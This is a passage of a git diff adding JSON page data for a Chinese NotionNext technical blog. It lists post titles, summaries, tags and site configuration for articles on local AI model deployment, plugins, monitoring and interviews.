0-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},"next":{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240810-minicpm2.6.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240810-minicpm2.6.json new file mode 100644 index 000000000..e8de8ad70 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240810-minicpm2.6.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas 